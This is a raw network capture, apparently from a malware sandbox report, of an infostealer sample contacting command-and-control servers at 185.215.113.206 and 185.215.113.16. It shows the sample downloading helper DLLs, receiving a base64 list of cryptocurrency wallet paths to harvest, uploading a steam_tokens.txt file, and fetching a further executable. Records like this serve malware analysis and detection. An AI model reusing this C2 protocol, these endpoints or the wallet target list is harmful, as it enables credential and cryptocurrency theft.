Nov 18, 2024 08:55:45.638124943 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 18, 2024 08:55:45.926187992 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 08:55:46.209422112 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 18, 2024 08:55:47.433710098 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 08:55:47.723571062 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 18, 2024 08:55:48.497467995 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 08:55:48.783967018 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 18, 2024 08:55:49.020801067 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 08:55:49.303987980 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 18, 2024 08:55:50.343661070 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 08:55:51.131957054 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:51.209021091 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 2d 2d 0d 0a Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="message"wallets------CGDHIEGCFHCGDGCAECBG--
Nov 18, 2024 08:55:51.494709969 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 18, 2024 08:55:51.577370882 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"files------EBFHJEGDAFHIJKECFBKJ--
Nov 18, 2024 08:55:51.863260984 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:51.876168966 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Nov 18, 2024 08:55:52.663278103 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:52.699120045 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"ybncbhylepme------HCFIIIJJKJKFHIDGDBAK--
Nov 18, 2024 08:55:52.984396935 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 18, 2024 08:55:55.295356989 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJDBGDHIIDAEBFHJJDBF--
Nov 18, 2024 08:55:56.073637009 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49999	185.215.113.16	80	6396	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:55:52.995729923 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 18, 2024 08:55:53.998737097 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 07:55:53 GMT Content-Type: application/octet-stream Content-Length: 1921024 Last-Modified: Mon, 18 Nov 2024 07:41:20 GMT Connection: keep-alive ETag: "673aefa0-1d5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0L@`LQu@WkH,LL @.rsrcH@.idata @ 0+@cpijmpsi@12@lipnutuu L(@.taggant00L".@
Nov 18, 2024 08:55:53.998747110 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:55:53.998760939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
